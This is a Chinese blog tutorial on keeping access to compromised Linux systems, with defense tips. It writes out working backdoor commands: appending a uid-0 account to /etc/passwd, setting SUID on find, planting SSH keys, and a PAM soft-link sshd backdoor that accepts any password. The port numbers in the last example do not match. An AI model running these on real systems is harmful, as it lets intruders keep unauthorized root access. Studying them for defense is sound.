linux权限维持(部分)

本文介绍了Linux系统中权限管理、SUID配置、SSH免密登录及其防御措施。包括如何添加和查询用户权限,设置SUID权限的正确与误用,SSH免密登录的原理及配置步骤,并提供了防止SSH被滥用的安全建议,如检查authorized_keys文件和避免软链接风险。
摘要由CSDN通过智能技术生成

修改权限:

添加账户:

添加普通用户:

useradd guest;echo 'guest:123456'|chpasswd

添加root用户(前面提权那里有讲)

echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd
账户:test 
密码:password@123

添加账户进行权限维持,很简单。

防御方法:

 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

效果图:
在这里插入图片描述

配置SUID:

给予权限

和提权相反,提权我们是需要SUID权限才能提权,那么这里同样我们需要给予SUID才能维持我们的权限

对想进行的脚本命令添加权限:

chmod u+s /usr/bin/find
chmod u-s /usr/bin/find

然后命令执行即可

防御方法:

首先列出具有SUID的命令:

find / -user root -perm -4000 -print 2>/dev/null  (查找具有SUID的命令)

在这里插入图片描述如果发现配置不当的命令,删除即可:

chmod u-s /usr/bin/find

SSH免密登录

这里简单介绍以下SSH
在这里插入图片描述

从上图中,可以看到我们使用SSH进行登陆时,主要分为以下几步:

用户使用ssh user@host命令对远程主机发起登陆请求;
远程主机将自己的公钥返回给请求主机;
请求主机使用公钥对用户输入的密码进行加密;
请求主机将加密后的密码发送给远程主机;
远程主机使用私钥对密码进行解密;
最后,远程主机判断解密后的密码是否与用户密码一致,一致同意登陆,否则反之。

至于免密登录,下面一张图就秒懂了:
在这里插入图片描述
这里出现了公钥和私钥,不懂的小伙伴可以自己去查查资料,这里有个地方很关键,也是免密登录的关键点:
受害🐓在得到攻击🐓的请求后,会回到authorized_keys中查找,如果有相应的用户名和IP,则会返回一个字符串给攻击🐓,剩下的流程都在图片里面,就不多说啦

免密配置:

windows:
ssh-keygen -t rsa

在本地生成一下

在这里插入图片描述在这里连续按3个回车就行(实操一下就知道了)
在这里插入图片描述
其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。
ssh root@ip连接即可

linux:
1.客户端生成公私钥
本地客户端生成公私钥:(一路回车默认即可)
ssh-keygen
上面这个命令会在用户目录.ssh文件夹下创建公私钥
cd ~/.ssh
ls
下创建两个密钥:
id_rsa (私钥)
id_rsa.pub (公钥)

2.上传公钥到服务器

这里测试用的服务器地址为:192.168.235.22
用户为:root

ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.235.22
上面这条命令是写到服务器上的ssh目录下去了

cd ~/.ssh

vim authorized_keys

可以看到客户端写入到服务器的 id_rsa.pub (公钥)内容。

防御方法:

查看/root/.ssh/authorized_keys是否被修改

cd ~/.ssh
vim authorized_keys

SSH软链接免密登录

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。
通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su 在/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。

pam_rootok.so

一般情况下,pam_rootok.so模块的主要作用是使uid为0的用户,即root用户能够直接通过认证而不用输入密码。

pam_rootok.so模块的一个典型应用是插入到一些应用程序的认证配置文件中,当root用户执行这些命令的时候可以不用输入口令而直接通过认证。

比如说“su”命令,为什么当以root用户执行“su”切换到普通用户身份的时候是不需要输入任何口令而可以直接切换过去?

当我们查看一下/etc/pam.d/su文件的内容就不会奇怪了。因为该文件的第一行就是:

auth sufficient pam_rootok.so

而如果将该行配置注释掉的情况下,就会发现即便以root用户切换普通用户的时候仍然要求输入口令。

软连接:

在目标服务器下以root权限执行下面这段命令

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

上面这段命令将/tmp/su链接到/usr/sbin/sshd 并监听指定的8888端口

远程连接即可,密码随便输入

ssh root@xxx.xxx.xxx.xxx -p 12345

防御方法:
查看进程、端口 及时杀死

ps aux
kill -s 9 PID
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值